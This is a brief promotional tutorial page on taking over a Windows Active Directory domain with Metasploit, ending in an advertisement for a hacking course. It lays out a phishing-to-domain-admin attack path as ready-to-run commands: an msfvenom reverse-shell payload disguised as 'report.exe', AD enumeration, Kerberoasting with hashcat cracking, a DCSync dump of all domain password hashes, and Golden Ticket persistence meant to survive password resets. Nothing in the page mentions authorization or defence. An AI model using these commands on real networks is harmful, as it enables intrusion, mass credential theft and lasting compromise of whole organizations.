Windows Hacking with Metasploit — Domain Controller Takeover

Windows Domain Hacking

90% of Fortune 500 companies use Windows Active Directory. Compromising a Domain Controller = owning the entire organization.

The AD Attack Path

1. Initial Foothold: Phishing → Meterpreter on one workstation
2. Enumeration: Map the domain, users, groups, GPOs
3. Privilege Escalation: Local admin → Domain admin
4. Lateral Movement: Jump between machines
5. Domain Takeover: DCSync → Golden Ticket

Step 1: Initial Access

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f exe -o report.exe

Step 2: AD Enumeration

# From Meterpreter
load powershell
powershell_execute "Get-ADDomain"
powershell_execute "Get-ADUser -Filter * | Select Name,SamAccountName"
powershell_execute "Get-ADGroupMember 'Domain Admins'"

Step 3: Kerberoasting

# Extract service ticket hashes
powershell_execute "Invoke-Kerberoast -OutputFormat Hashcat"
# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt

Step 4: DCSync Attack

# With domain admin creds
impacket-secretsdump domain/admin:password@DC_IP
# Dumps ALL domain password hashes

Step 5: Golden Ticket

With the KRBTGT hash, create a Golden Ticket for unlimited, persistent domain access that survives password resets!

🔥 Learn Active Directory hacking at ONLY4YOU →